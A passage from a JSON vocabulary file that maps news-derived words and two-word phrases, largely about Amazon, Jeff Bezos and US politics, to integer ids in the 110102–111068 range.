advocating\": 110102,\n  \"bezos speculation\": 110103,\n  \"paying customers\": 110104,\n  \"immense damage\": 110105,\n  \"day shipping\": 110106,\n  \"karman line\": 110107,\n  \"high ranking\": 110108,\n  \"tactic bank\": 110109,\n  \"arose\": 110110,\n  \"dean witter\": 110111,\n  \"way walked\": 110112,\n  \"iser kump\": 110113,\n  \"generated gross\": 110114,\n  \"sure businesses\": 110115,\n  \"bezos attends\": 110116,\n  \"elite soldier\": 110117,\n  \"multi cultural\": 110118,\n  \"isn president\": 110119,\n  \"wilke unveiling\": 110120,\n  \"producing crop\": 110121,\n  \"office closest\": 110122,\n  \"program provides\": 110123,\n  \"revenue huge\": 110124,\n  \"vendors navarro\": 110125,\n  \"preferred rate\": 110126,\n  \"martin baron\": 110127,\n  \"cortez main\": 110128,\n  \"bay fearful\": 110129,\n  \"street powerhouses\": 110130,\n  \"gunman opens\": 110131,\n  \"avert\": 110132,\n  \"ukhashtags\": 110133,\n  \"trust limited\": 110134,\n  \"mania telecom\": 110135,\n  \"hooray\": 110136,\n  \"a8 n4\": 110137,\n  \"market capital\": 110138,\n  \"growth drives\": 110139,\n  \"study examines\": 110140,\n  \"minister luigi\": 110141,\n  \"suggestive\": 110142,\n  \"post failure\": 110143,\n  \"kgeldzji5z\": 110144,\n  \"rates share\": 110145,\n  \"race footage\": 110146,\n  \"war situation\": 110147,\n  \"ongoing growth\": 110148,\n  \"investor speaking\": 110149,\n  \"public catch\": 110150,\n  \"ayaz gul\": 110151,\n  \"afp sessions\": 110152,\n  \"getting lot\": 110153,\n  \"owner responds\": 110154,\n  \"tackled\": 110155,\n  \"cited deeply\": 110156,\n  \"tables\": 110157,\n  \"1116et\": 110158,\n  \"suitable\": 110159,\n  \"motives bezos\": 110160,\n  \"series financing\": 110161,\n  \"freedom act\": 110162,\n  \"trump tenure\": 110163,\n  \"criminal charge\": 110164,\n  \"afp jeff\": 110165,\n  \"cleaning supplies\": 110166,\n  \"pardoning\": 110167,\n  \"marshall joshtpm\": 110168,\n  \"single greatest\": 110169,\n  \"security review\": 110170,\n  \"public romance\": 110171,\n  \"legislation reauthorizing\": 110172,\n  \"counterfeits counterfeiting\": 110173,\n  \"enquirer denied\": 110174,\n  \"breakingviews\": 110175,\n  \"regular healthcare\": 110176,\n  \"guaranteed delivery\": 110177,\n  \"accused weinstein\": 110178,\n  \"world images\": 110179,\n  \"right katherine\": 110180,\n  \"kardashians\": 110181,\n  \"0723et\": 110182,\n  \"post analyzed\": 110183,\n  \"fast feed\": 110184,\n  \"2018 recent\": 110185,\n  \"unfccc united\": 110186,\n  \"methodical innovation\": 110187,\n  \"mounted sensor\": 110188,\n  \"districts regardless\": 110189,\n  \"margins according\": 110190,\n  \"lead leave\": 110191,\n  \"pubic region\": 110192,\n  \"line knowing\": 110193,\n  \"experienced experts\": 110194,\n  \"debacle especially\": 110195,\n  \"partners company\": 110196,\n  \"service leeway\": 110197,\n  \"movetonexttimeout muteplayerenabled\": 110198,\n  \"stories involve\": 110199,\n  \"chief doug\": 110200,\n  \"company offered\": 110201,\n  \"nancypelosi\": 110202,\n  \"heights boeing\": 110203,\n  \"doj\": 110204,\n  \"remote areas\": 110205,\n  \"librarian\": 110206,\n  \"innovative approach\": 110207,\n  \"emptive killing\": 110208,\n  \"received staggering\": 110209,\n  \"galloway marketing\": 110210,\n  \"higher did\": 110211,\n  \"images according\": 110212,\n  \"shilling\": 110213,\n  \"rising temperatures\": 110214,\n  \"larry connor\": 110215,\n  \"amazon fierce\": 110216,\n  \"adventure park\": 110217,\n  \"really special\": 110218,\n  \"building billion\": 110219,\n  \"federal digital\": 110220,\n  \"mars\": 110221,\n  \"disclaimer\": 110222,\n  \"merch perpetuated\": 110223,\n  \"statement detailing\": 110224,\n  \"post rigorous\": 110225,\n  \"hooded sweatshirt\": 110226,\n  \"reliable cross\": 110227,\n  \"raised tantalising\": 110228,\n  \"immigration hire\": 110229,\n  \"big goliath\": 110230,\n  \"tony cox\": 110231,\n  \"evidence points\": 110232,\n  \"site hydro\": 110233,\n  \"favorite selfie\": 110234,\n  \"links list\": 110235,\n  \"story libertarian\": 110236,\n  \"innovators post\": 110237,\n  \"express concern\": 110238,\n  \"waterproof waxed\": 110239,\n  \"marketing officer\": 110240,\n  \"actually contains\": 110241,\n  \"costs amazon\": 110242,\n  \"way jedi\": 110243,\n  \"mideast economy\": 110244,\n  \"unique perspective\": 110245,\n  \"blackmail extortion\": 110246,\n  \"matching set\": 110247,\n  \"asking\": 110248,\n  \"president henry\": 110249,\n  \"official reuters\": 110250,\n  \"bucked amazon\": 110251,\n  \"miller texit\": 110252,\n  \"meditation device\": 110253,\n  \"netflix unless\": 110254,\n  \"attract\": 110255,\n  \"r1 trillion\": 110256,\n  \"packaging el\": 110257,\n  \"discounted price\": 110258,\n  \"machines multiple\": 110259,\n  \"think going\": 110260,\n  \"just usps\": 110261,\n  \"uncover donations\": 110262,\n  \"businesses means\": 110263,\n  \"blake asks\": 110264,\n  \"biggest mistake\": 110265,\n  \"ktla tv\": 110266,\n  \"travel carbon\": 110267,\n  \"nyse nok\": 110268,\n  \"state financed\": 110269,\n  \"wouldn kick\": 110270,\n  \"ummm\": 110271,\n  \"search term\": 110272,\n  \"highly compromising\": 110273,\n  \"wealth jumps\": 110274,\n  \"cap mgmt\": 110275,\n  \"political backstory\": 110276,\n  \"hold seller\": 110277,\n  \"fortunately optimists\": 110278,\n  \"fake nbc\": 110279,\n  \"long list\": 110280,\n  \"keshner 415\": 110281,\n  \"koyyur\": 110282,\n  \"bezos democratic\": 110283,\n  \"supremists\": 110284,\n  \"neighborhoods trump\": 110285,\n  \"credible critic\": 110286,\n  \"compelling sense\": 110287,\n  \"say mccain\": 110288,\n  \"enabled bezos\": 110289,\n  \"key engine\": 110290,\n  \"impression\": 110291,\n  \"gamechanger\": 110292,\n  \"motor carrier\": 110293,\n  \"watchers left\": 110294,\n  \"space ventures\": 110295,\n  \"meltzer\": 110296,\n  \"outdated phrases\": 110297,\n  \"head joseph\": 110298,\n  \"vehicles hit\": 110299,\n  \"dailyrecord\": 110300,\n  \"huge brooklyn\": 110301,\n  \"headed trade\": 110302,\n  \"amazon liars\": 110303,\n  \"amazon limitless\": 110304,\n  \"american packages\": 110305,\n  \"won charge\": 110306,\n  \"anti press\": 110307,\n  \"long times\": 110308,\n  \"fcc\": 110309,\n  \"great pressure\": 110310,\n  \"warner schiff\": 110311,\n  \"hands 107k6\": 110312,\n  \"berkshire venture\": 110313,\n  \"foxconn milks\": 110314,\n  \"today bank\": 110315,\n  \"details read\": 110316,\n  \"month gizmodo\": 110317,\n  \"chan warned\": 110318,\n  \"winston salem\": 110319,\n  \"vishaan\": 110320,\n  \"exchange replying\": 110321,\n  \"mike ponce\": 110322,\n  \"daily newsletter\": 110323,\n  \"recently indicted\": 110324,\n  \"hq2 bakeoff\": 110325,\n  \"offsetx offsety\": 110326,\n  \"nyc department\": 110327,\n  \"emails statement\": 110328,\n  \"syria 1537260656\": 110329,\n  \"federally funded\": 110330,\n  \"enacting\": 110331,\n  \"best seattle\": 110332,\n  \"diddy combs\": 110333,\n  \"2015 thrivenyc\": 110334,\n  \"wrapping notarization\": 110335,\n  \"using capital\": 110336,\n  \"sues trump\": 110337,\n  \"extreme crisis\": 110338,\n  \"p4 r4ee\": 110339,\n  \"important anymore\": 110340,\n  \"aya0kkbxn2\": 110341,\n  \"ban fbi\": 110342,\n  \"rejected alleged\": 110343,\n  \"democrats won\": 110344,\n  \"hardball\": 110345,\n  \"calling democratic\": 110346,\n  \"purposefully vague\": 110347,\n  \"desjarlais\": 110348,\n  \"longislandcity queens\": 110349,\n  \"distances\": 110350,\n  \"lampert roommate\": 110351,\n  \"pfizer nyse\": 110352,\n  \"connotations\": 110353,\n  \"occupation occupyicepdx\": 110354,\n  \"avoid preference\": 110355,\n  \"ross john\": 110356,\n  \"newsroom equivalent\": 110357,\n  \"suncor model\": 110358,\n  \"difficult going\": 110359,\n  \"watching markets\": 110360,\n  \"utilization\": 110361,\n  \"gobsmacking\": 110362,\n  \"blur\": 110363,\n  \"founder sent\": 110364,\n  \"children access\": 110365,\n  \"slowing revenue\": 110366,\n  \"sen richard\": 110367,\n  \"daily edition\": 110368,\n  \"chief white\": 110369,\n  \"airwaves auction\": 110370,\n  \"susan walsh\": 110371,\n  \"carly burns\": 110372,\n  \"tens\": 110373,\n  \"2018 image\": 110374,\n  \"iphone xs\": 110375,\n  \"different government\": 110376,\n  \"pony\": 110377,\n  \"don imus\": 110378,\n  \"inviting current\": 110379,\n  \"alleged contractor\": 110380,\n  \"ideas trump\": 110381,\n  \"wrote talking\": 110382,\n  \"reviewmeta\": 110383,\n  \"cataloged\": 110384,\n  \"related midwest\": 110385,\n  \"palantir advised\": 110386,\n  \"false statements\": 110387,\n  \"fails testing\": 110388,\n  \"tech prowess\": 110389,\n  \"dads\": 110390,\n  \"dismisses questions\": 110391,\n  \"norah norah\": 110392,\n  \"photos arts\": 110393,\n  \"body cameras\": 110394,\n  \"helped produce\": 110395,\n  \"fingerprint left\": 110396,\n  \"slaughter johnson\": 110397,\n  \"becker confirms\": 110398,\n  \"deaf ears\": 110399,\n  \"poster children\": 110400,\n  \"stop small\": 110401,\n  \"trump bent\": 110402,\n  \"5yr cloud\": 110403,\n  \"christian whiton\": 110404,\n  \"computer site\": 110405,\n  \"immature \\u0430is\": 110406,\n  \"valedictorians don\": 110407,\n  \"edwards wireimage\": 110408,\n  \"cloud times\": 110409,\n  \"remain solid\": 110410,\n  \"thinks jeff\": 110411,\n  \"ehrat announced\": 110412,\n  \"median age\": 110413,\n  \"liberalism file\": 110414,\n  \"liberal tears\": 110415,\n  \"letters online\": 110416,\n  \"ride share\": 110417,\n  \"produce shareholder\": 110418,\n  \"robust roster\": 110419,\n  \"exist rice\": 110420,\n  \"haiti state\": 110421,\n  \"wide profits\": 110422,\n  \"film history\": 110423,\n  \"times andrew\": 110424,\n  \"broward teachers\": 110425,\n  \"reemerge\": 110426,\n  \"remain undecided\": 110427,\n  \"county register\": 110428,\n  \"filed public\": 110429,\n  \"computer vision\": 110430,\n  \"2030 connecting\": 110431,\n  \"magic bullet\": 110432,\n  \"quickly acquired\": 110433,\n  \"process according\": 110434,\n  \"whines\": 110435,\n  \"senator claim\": 110436,\n  \"morgan freeman\": 110437,\n  \"incredible right\": 110438,\n  \"world consequences\": 110439,\n  \"matrimonial lawyer\": 110440,\n  \"standher\": 110441,\n  \"years particularly\": 110442,\n  \"immigration policy\": 110443,\n  \"obtain confidential\": 110444,\n  \"factual record\": 110445,\n  \"photo pin\": 110446,\n  \"magazine nicknamed\": 110447,\n  \"created space\": 110448,\n  \"acquisition fedex\": 110449,\n  \"josh duboff\": 110450,\n  \"content police\": 110451,\n  \"leaders summit\": 110452,\n  \"advsr llc\": 110453,\n  \"ultimately denied\": 110454,\n  \"weeks trump\": 110455,\n  \"long listened\": 110456,\n  \"capital plans\": 110457,\n  \"comic books\": 110458,\n  \"tuxedo\": 110459,\n  \"blazes spread\": 110460,\n  \"major headlines\": 110461,\n  \"american consumerism\": 110462,\n  \"whatsapp president\": 110463,\n  \"commerce including\": 110464,\n  \"interstate\": 110465,\n  \"election people\": 110466,\n  \"fortune telling\": 110467,\n  \"equal branch\": 110468,\n  \"leadership childhood\": 110469,\n  \"stamps warehouse\": 110470,\n  \"putin shook\": 110471,\n  \"michael\": 110472,\n  \"elections months\": 110473,\n  \"wasn running\": 110474,\n  \"grassroots protesters\": 110475,\n  \"america seeks\": 110476,\n  \"investigate sanders\": 110477,\n  \"chrissy metz\": 110478,\n  \"question answered\": 110479,\n  \"brands reported\": 110480,\n  \"caught nbc\": 110481,\n  \"publicity operation\": 110482,\n  \"father fantasized\": 110483,\n  \"callista gingrich\": 110484,\n  \"basic rules\": 110485,\n  \"history mourning\": 110486,\n  \"160 000\": 110487,\n  \"fart colbert\": 110488,\n  \"000 vehicles\": 110489,\n  \"says rachel\": 110490,\n  \"hq2 according\": 110491,\n  \"guy weekend\": 110492,\n  \"colombian counterpart\": 110493,\n  \"expectations bolstered\": 110494,\n  \"beijing including\": 110495,\n  \"allegedly responsible\": 110496,\n  \"despite recent\": 110497,\n  \"foods led\": 110498,\n  \"plan concocted\": 110499,\n  \"lowest price\": 110500,\n  \"day forms\": 110501,\n  \"trended\": 110502,\n  \"3lift\": 110503,\n  \"amy sheppard\": 110504,\n  \"new opportunity\": 110505,\n  \"pakistan powerful\": 110506,\n  \"called karenia\": 110507,\n  \"teresa mosqueda\": 110508,\n  \"ending\": 110509,\n  \"earn sanders\": 110510,\n  \"given competing\": 110511,\n  \"community maniac\": 110512,\n  \"contact users\": 110513,\n  \"list sales\": 110514,\n  \"transportation people\": 110515,\n  \"observe stays\": 110516,\n  \"odd coming\": 110517,\n  \"era literary\": 110518,\n  \"build artificial\": 110519,\n  \"03vdg4nes6 story\": 110520,\n  \"m6 write\": 110521,\n  \"powerful rhetoric\": 110522,\n  \"origin family\": 110523,\n  \"urus\": 110524,\n  \"celine\": 110525,\n  \"drawing attention\": 110526,\n  \"extortion scandal\": 110527,\n  \"provides employees\": 110528,\n  \"298 people\": 110529,\n  \"local governments\": 110530,\n  \"briefly teased\": 110531,\n  \"folklore\": 110532,\n  \"ron zink\": 110533,\n  \"gun range\": 110534,\n  \"potomac\": 110535,\n  \"minister image\": 110536,\n  \"current parcel\": 110537,\n  \"immediate results\": 110538,\n  \"bigwigs steal\": 110539,\n  \"hour conversation\": 110540,\n  \"issue report\": 110541,\n  \"trump floated\": 110542,\n  \"shipping partners\": 110543,\n  \"ng\": 110544,\n  \"contends include\": 110545,\n  \"pa nomiki\": 110546,\n  \"rationed\": 110547,\n  \"priests\": 110548,\n  \"roesner\": 110549,\n  \"s4a 1289121590\": 110550,\n  \"change plan\": 110551,\n  \"similar views\": 110552,\n  \"fan unnecessary\": 110553,\n  \"betrayed women\": 110554,\n  \"118 million\": 110555,\n  \"new eu\": 110556,\n  \"trump impact\": 110557,\n  \"day attacking\": 110558,\n  \"talks race\": 110559,\n  \"mueller iii\": 110560,\n  \"foster vibrant\": 110561,\n  \"optical\": 110562,\n  \"rig explosion\": 110563,\n  \"2019 years\": 110564,\n  \"enthusiastic candidate\": 110565,\n  \"neighborhoods values\": 110566,\n  \"adjunct professor\": 110567,\n  \"media entities\": 110568,\n  \"run far\": 110569,\n  \"1007 exlarge\": 110570,\n  \"nemesis\": 110571,\n  \"based episode\": 110572,\n  \"south rowan\": 110573,\n  \"dayen\": 110574,\n  \"american detective\": 110575,\n  \"sanchez married\": 110576,\n  \"ring ami\": 110577,\n  \"credits new\": 110578,\n  \"als\": 110579,\n  \"competitive strengths\": 110580,\n  \"rm40\": 110581,\n  \"cathedral need\": 110582,\n  \"states escalated\": 110583,\n  \"consumer base\": 110584,\n  \"terrify\": 110585,\n  \"practically takes\": 110586,\n  \"pre baby\": 110587,\n  \"brad stone\": 110588,\n  \"emissions\": 110589,\n  \"smart city\": 110590,\n  \"nti\": 110591,\n  \"favorite social\": 110592,\n  \"indicate\": 110593,\n  \"worldwideerc\": 110594,\n  \"correctness\": 110595,\n  \"profile company\": 110596,\n  \"gaining momentum\": 110597,\n  \"tomi kilgore\": 110598,\n  \"spicer tome\": 110599,\n  \"locally\": 110600,\n  \"potential nominees\": 110601,\n  \"repeatedly urging\": 110602,\n  \"labs shared\": 110603,\n  \"obit krauthammer\": 110604,\n  \"affected pfizer\": 110605,\n  \"party campaign\": 110606,\n  \"document mma\": 110607,\n  \"theyll\": 110608,\n  \"daily chart\": 110609,\n  \"dc iww\": 110610,\n  \"way china\": 110611,\n  \"political convention\": 110612,\n  \"site streeteasy\": 110613,\n  \"zion williamson\": 110614,\n  \"tabloids\": 110615,\n  \"club pick\": 110616,\n  \"new job\": 110617,\n  \"instead choosing\": 110618,\n  \"issued vague\": 110619,\n  \"killed dozens\": 110620,\n  \"expressed openness\": 110621,\n  \"lover suggestive\": 110622,\n  \"haverty think\": 110623,\n  \"smerconish added\": 110624,\n  \"oil refiners\": 110625,\n  \"revealing portrait\": 110626,\n  \"offer guaranteed\": 110627,\n  \"short jaunt\": 110628,\n  \"law hurts\": 110629,\n  \"bezos quote\": 110630,\n  \"carnival te\": 110631,\n  \"billionaires including\": 110632,\n  \"bare embarrassing\": 110633,\n  \"grounds probably\": 110634,\n  \"lax jose\": 110635,\n  \"manufacturer jay\": 110636,\n  \"retailers linked\": 110637,\n  \"county supervisor\": 110638,\n  \"porat\": 110639,\n  \"rose chat\": 110640,\n  \"analyst downgraded\": 110641,\n  \"new deforestation\": 110642,\n  \"cnn maintaining\": 110643,\n  \"ellison sitting\": 110644,\n  \"j5nvfsumpt pic\": 110645,\n  \"tax changes\": 110646,\n  \"crafted jewelry\": 110647,\n  \"cit group\": 110648,\n  \"downtown toronto\": 110649,\n  \"confederate flag\": 110650,\n  \"increases led\": 110651,\n  \"trump vetoed\": 110652,\n  \"shyam\": 110653,\n  \"android powered\": 110654,\n  \"wisconsin doled\": 110655,\n  \"attorneys general\": 110656,\n  \"strategy assuming\": 110657,\n  \"canada takes\": 110658,\n  \"budget official\": 110659,\n  \"twain\": 110660,\n  \"digit\": 110661,\n  \"near constant\": 110662,\n  \"burning\": 110663,\n  \"recounted\": 110664,\n  \"amid catcalls\": 110665,\n  \"escaper buddy\": 110666,\n  \"better leadership\": 110667,\n  \"deeply uncomfortable\": 110668,\n  \"supporting anti\": 110669,\n  \"market trading\": 110670,\n  \"parrythose sort\": 110671,\n  \"highlights trump\": 110672,\n  \"background\": 110673,\n  \"esque form\": 110674,\n  \"africa leave\": 110675,\n  \"view 2019\": 110676,\n  \"european commissioner\": 110677,\n  \"chris goff\": 110678,\n  \"cortez stating\": 110679,\n  \"briefed\": 110680,\n  \"respondents pocket\": 110681,\n  \"mortal ish\": 110682,\n  \"tweets haven\": 110683,\n  \"keeping remarkable\": 110684,\n  \"liberals\": 110685,\n  \"charity revelations\": 110686,\n  \"health ncosh\": 110687,\n  \"buzzing\": 110688,\n  \"create simple\": 110689,\n  \"south africa\": 110690,\n  \"reliably\": 110691,\n  \"2018 washington\": 110692,\n  \"amazon mining\": 110693,\n  \"oppose legislative\": 110694,\n  \"wickedly\": 110695,\n  \"given lower\": 110696,\n  \"570 million\": 110697,\n  \"official statements\": 110698,\n  \"team contributors\": 110699,\n  \"rape murder\": 110700,\n  \"wasn authorized\": 110701,\n  \"paperwhite\": 110702,\n  \"kids products\": 110703,\n  \"company analyst\": 110704,\n  \"geographies\": 110705,\n  \"legislation repealed\": 110706,\n  \"growth morgan\": 110707,\n  \"chosen ricardo\": 110708,\n  \"539\": 110709,\n  \"german carmakers\": 110710,\n  \"region eyes\": 110711,\n  \"note cites\": 110712,\n  \"mary rung\": 110713,\n  \"confession cbs\": 110714,\n  \"seuss\": 110715,\n  \"wto talks\": 110716,\n  \"criminal court\": 110717,\n  \"casey malmquist\": 110718,\n  \"million value\": 110719,\n  \"amazon scroll\": 110720,\n  \"publicly declared\": 110721,\n  \"wade governor\": 110722,\n  \"chairman marsha\": 110723,\n  \"2019 edition\": 110724,\n  \"richest american\": 110725,\n  \"magical day\": 110726,\n  \"weaker antitrust\": 110727,\n  \"fulfil\": 110728,\n  \"elect hillary\": 110729,\n  \"kernen michael\": 110730,\n  \"disclose goofy\": 110731,\n  \"possibly estimate\": 110732,\n  \"home photos\": 110733,\n  \"profile expansion\": 110734,\n  \"400 points\": 110735,\n  \"pressure declining\": 110736,\n  \"division contributed\": 110737,\n  \"corporation reported\": 110738,\n  \"spend liberal\": 110739,\n  \"reporter tracks\": 110740,\n  \"evening standard\": 110741,\n  \"le mans\": 110742,\n  \"criticizing fbi\": 110743,\n  \"wow incredible\": 110744,\n  \"rightly reasonably\": 110745,\n  \"boycott retailers\": 110746,\n  \"unpunished\": 110747,\n  \"warehouse\": 110748,\n  \"beetle kind\": 110749,\n  \"republican run\": 110750,\n  \"microsoft investors\": 110751,\n  \"potus walked\": 110752,\n  \"hack khashoggi\": 110753,\n  \"countries clark\": 110754,\n  \"bags\": 110755,\n  \"bs_bullet_primary party\": 110756,\n  \"shift millions\": 110757,\n  \"quickly rounded\": 110758,\n  \"hastily passed\": 110759,\n  \"icymi stocks\": 110760,\n  \"agency trump\": 110761,\n  \"conditions don\": 110762,\n  \"trump entertainment\": 110763,\n  \"aberration\": 110764,\n  \"sinclair network\": 110765,\n  \"immediate comment\": 110766,\n  \"jones\": 110767,\n  \"service prices\": 110768,\n  \"business chronically\": 110769,\n  \"management announcing\": 110770,\n  \"amazon given\": 110771,\n  \"alleged extramarital\": 110772,\n  \"multiple providers\": 110773,\n  \"political pundits\": 110774,\n  \"telling reporters\": 110775,\n  \"eliminate distinctions\": 110776,\n  \"debt does\": 110777,\n  \"sheriff official\": 110778,\n  \"doesn start\": 110779,\n  \"college city\": 110780,\n  \"moser personally\": 110781,\n  \"alexis ohanian\": 110782,\n  \"bilateral trade\": 110783,\n  \"heir satire\": 110784,\n  \"annual marketing\": 110785,\n  \"invsts\": 110786,\n  \"ruthless tide\": 110787,\n  \"w0 r4ee\": 110788,\n  \"sports zacks\": 110789,\n  \"jobs including\": 110790,\n  \"story outdoor\": 110791,\n  \"customer says\": 110792,\n  \"record words\": 110793,\n  \"pressed usps\": 110794,\n  \"london hong\": 110795,\n  \"argument lina\": 110796,\n  \"pickup\": 110797,\n  \"dismantling major\": 110798,\n  \"material impact\": 110799,\n  \"reid source\": 110800,\n  \"century progressives\": 110801,\n  \"brazil vast\": 110802,\n  \"pritzker state\": 110803,\n  \"won special\": 110804,\n  \"billion ariel\": 110805,\n  \"online book\": 110806,\n  \"644\": 110807,\n  \"survives plane\": 110808,\n  \"ultimately prove\": 110809,\n  \"emergencies minutes\": 110810,\n  \"housing complex\": 110811,\n  \"years artificial\": 110812,\n  \"fortune share\": 110813,\n  \"barreto ag\\u00eancia\": 110814,\n  \"benicio\": 110815,\n  \"fact surprising\": 110816,\n  \"second concern\": 110817,\n  \"sentences archive\": 110818,\n  \"equity residential\": 110819,\n  \"david rabinovitz\": 110820,\n  \"darren\": 110821,\n  \"mercedes\": 110822,\n  \"easier lot\": 110823,\n  \"refugee arrivals\": 110824,\n  \"broader discussions\": 110825,\n  \"generated buzz\": 110826,\n  \"straight session\": 110827,\n  \"currently supports\": 110828,\n  \"biggs\": 110829,\n  \"integrity staffing\": 110830,\n  \"bezos ends\": 110831,\n  \"pair haven\": 110832,\n  \"unexpected way\": 110833,\n  \"fastest developing\": 110834,\n  \"sex assault\": 110835,\n  \"life demonstration\": 110836,\n  \"o8 function\": 110837,\n  \"opponent new\": 110838,\n  \"echo dot\": 110839,\n  \"embattled amazon\": 110840,\n  \"felt compelled\": 110841,\n  \"lynch forever\": 110842,\n  \"south pole\": 110843,\n  \"headquarters\": 110844,\n  \"aqms\": 110845,\n  \"customers online\": 110846,\n  \"alexa echo\": 110847,\n  \"eastern countries\": 110848,\n  \"tori\": 110849,\n  \"250 cities\": 110850,\n  \"jeff flake\": 110851,\n  \"services latest\": 110852,\n  \"spawned phenomenon\": 110853,\n  \"organisation coffers\": 110854,\n  \"sags package\": 110855,\n  \"strings\": 110856,\n  \"company 98point6\": 110857,\n  \"cookbook\": 110858,\n  \"declares war\": 110859,\n  \"constantly giving\": 110860,\n  \"collection responsibilities\": 110861,\n  \"butt badly\": 110862,\n  \"submitted proposals\": 110863,\n  \"theodore roosevelt\": 110864,\n  \"proshare\": 110865,\n  \"care jv\": 110866,\n  \"analysis performed\": 110867,\n  \"closed door\": 110868,\n  \"combined statista\": 110869,\n  \"communities china\": 110870,\n  \"meet growth\": 110871,\n  \"grossed\": 110872,\n  \"higher burden\": 110873,\n  \"ecommerce\": 110874,\n  \"investigation days\": 110875,\n  \"libraries\": 110876,\n  \"hand sovereignty\": 110877,\n  \"seattle tried\": 110878,\n  \"vest tony\": 110879,\n  \"york group\": 110880,\n  \"vaccine status\": 110881,\n  \"world ahead\": 110882,\n  \"quite different\": 110883,\n  \"ran onewest\": 110884,\n  \"vast political\": 110885,\n  \"member leaked\": 110886,\n  \"today looks\": 110887,\n  \"vice premier\": 110888,\n  \"prophetic word\": 110889,\n  \"owns chain\": 110890,\n  \"business doesn\": 110891,\n  \"charlton sent\": 110892,\n  \"violations google\": 110893,\n  \"blasio tweet\": 110894,\n  \"occ investigated\": 110895,\n  \"tech software\": 110896,\n  \"client agrees\": 110897,\n  \"fiscal fourth\": 110898,\n  \"deflected\": 110899,\n  \"assigned names\": 110900,\n  \"staffers decided\": 110901,\n  \"preventing terrorist\": 110902,\n  \"preliminary look\": 110903,\n  \"quoting anonymous\": 110904,\n  \"acquiring weapons\": 110905,\n  \"skirting taxes\": 110906,\n  \"competition bezos\": 110907,\n  \"ascent\": 110908,\n  \"fleeting\": 110909,\n  \"perpetuation\": 110910,\n  \"middle america\": 110911,\n  \"helps bring\": 110912,\n  \"nation entire\": 110913,\n  \"firearms\": 110914,\n  \"rich jared\": 110915,\n  \"prevent bezos\": 110916,\n  \"bell chip\": 110917,\n  \"mania\": 110918,\n  \"pakistan relations\": 110919,\n  \"unless bezos\": 110920,\n  \"power corporations\": 110921,\n  \"area entrepreneurs\": 110922,\n  \"chair told\": 110923,\n  \"ardent supporter\": 110924,\n  \"blog contained\": 110925,\n  \"setfirstvideoincollection\": 110926,\n  \"summer pecker\": 110927,\n  \"paying dividend\": 110928,\n  \"powerful reach\": 110929,\n  \"customers financial\": 110930,\n  \"killing negative\": 110931,\n  \"date blofeld\": 110932,\n  \"connected lobby\": 110933,\n  \"summit later\": 110934,\n  \"colleen\": 110935,\n  \"jv\": 110936,\n  \"shares jarislowsky\": 110937,\n  \"nyc council\": 110938,\n  \"spend building\": 110939,\n  \"appease congress\": 110940,\n  \"spokesperson kris\": 110941,\n  \"9k mark\": 110942,\n  \"brilliant ones\": 110943,\n  \"donahoe weighs\": 110944,\n  \"unregulated\": 110945,\n  \"hasn updated\": 110946,\n  \"endgame\": 110947,\n  \"thankless fruitless\": 110948,\n  \"love trump\": 110949,\n  \"heuvel\": 110950,\n  \"firearms confiscated\": 110951,\n  \"viewing reporting\": 110952,\n  \"international environmental\": 110953,\n  \"york knicks\": 110954,\n  \"refugees precisely\": 110955,\n  \"enormous violator\": 110956,\n  \"transferable skill\": 110957,\n  \"fantastic\": 110958,\n  \"competitions\": 110959,\n  \"food journalism\": 110960,\n  \"yeah moser\": 110961,\n  \"taxpayers providing\": 110962,\n  \"blog\": 110963,\n  \"uphold agency\": 110964,\n  \"merchandise sold\": 110965,\n  \"388160 sortorder\": 110966,\n  \"blog privacy\": 110967,\n  \"indonesia\": 110968,\n  \"dark ages\": 110969,\n  \"kovrig\": 110970,\n  \"billionaire peers\": 110971,\n  \"politico poll\": 110972,\n  \"netflix quincy\": 110973,\n  \"sprint sources\": 110974,\n  \"rice comments\": 110975,\n  \"hidalgo\": 110976,\n  \"affordability\": 110977,\n  \"nasdaq omx\": 110978,\n  \"developed bezos\": 110979,\n  \"lutes characters\": 110980,\n  \"mid\": 110981,\n  \"model students\": 110982,\n  \"visiting fulfillment\": 110983,\n  \"nearly 840\": 110984,\n  \"plus fulfillment\": 110985,\n  \"thousand oaks\": 110986,\n  \"west wing\": 110987,\n  \"online businesses\": 110988,\n  \"scandals loom\": 110989,\n  \"sustainable investing\": 110990,\n  \"editors pulled\": 110991,\n  \"incredibly candid\": 110992,\n  \"complicated\": 110993,\n  \"stopped worrying\": 110994,\n  \"albert lukas\": 110995,\n  \"funding according\": 110996,\n  \"early 1900s\": 110997,\n  \"big cap\": 110998,\n  \"turkey lola\": 110999,\n  \"personas\": 111000,\n  \"politicians feeling\": 111001,\n  \"wilking trump\": 111002,\n  \"wave\": 111003,\n  \"basic answer\": 111004,\n  \"existing trees\": 111005,\n  \"great online\": 111006,\n  \"magazine reported\": 111007,\n  \"visit dem\": 111008,\n  \"conspiracy published\": 111009,\n  \"quarter herera\": 111010,\n  \"conservatives boast\": 111011,\n  \"supplier icon\": 111012,\n  \"murder obtained\": 111013,\n  \"refugee james\": 111014,\n  \"different trademark\": 111015,\n  \"southern gothic\": 111016,\n  \"202 shares\": 111017,\n  \"harming competition\": 111018,\n  \"fastest appreciating\": 111019,\n  \"powerful voting\": 111020,\n  \"politicians merely\": 111021,\n  \"matter contentious\": 111022,\n  \"green nepalese\": 111023,\n  \"protester job\": 111024,\n  \"parent delivers\": 111025,\n  \"charlottesville fiasco\": 111026,\n  \"congress poised\": 111027,\n  \"longest federal\": 111028,\n  \"kudlow director\": 111029,\n  \"independent fortune\": 111030,\n  \"level homes\": 111031,\n  \"investors agree\": 111032,\n  \"free convenience\": 111033,\n  \"jesse westbrook\": 111034,\n  \"today edition\": 111035,\n  \"reporting tool\": 111036,\n  \"400 words\": 111037,\n  \"protections indur\": 111038,\n  \"area really\": 111039,\n  \"assemblymembers\": 111040,\n  \"twitter folks\": 111041,\n  \"frequently mentioned\": 111042,\n  \"cover natural\": 111043,\n  \"independent investigative\": 111044,\n  \"hour doesn\": 111045,\n  \"closest economic\": 111046,\n  \"warns wall\": 111047,\n  \"cref\": 111048,\n  \"e0\": 111049,\n  \"avoiding bad\": 111050,\n  \"cortez twitter\": 111051,\n  \"genome\": 111052,\n  \"hurt thank\": 111053,\n  \"enforcement amazon\": 111054,\n  \"recalibrate\": 111055,\n  \"long winded\": 111056,\n  \"grid travel\": 111057,\n  \"putting\": 111058,\n  \"lince\": 111059,\n  \"information needed\": 111060,\n  \"walmart clapped\": 111061,\n  \"holidays npdholiday\": 111062,\n  \"line today\": 111063,\n  \"offices\": 111064,\n  \"soon given\": 111065,\n  \"pet bunny\": 111066,\n  \"twitter crackdown\": 111067,\n  \"mcallister\": 111068,\n 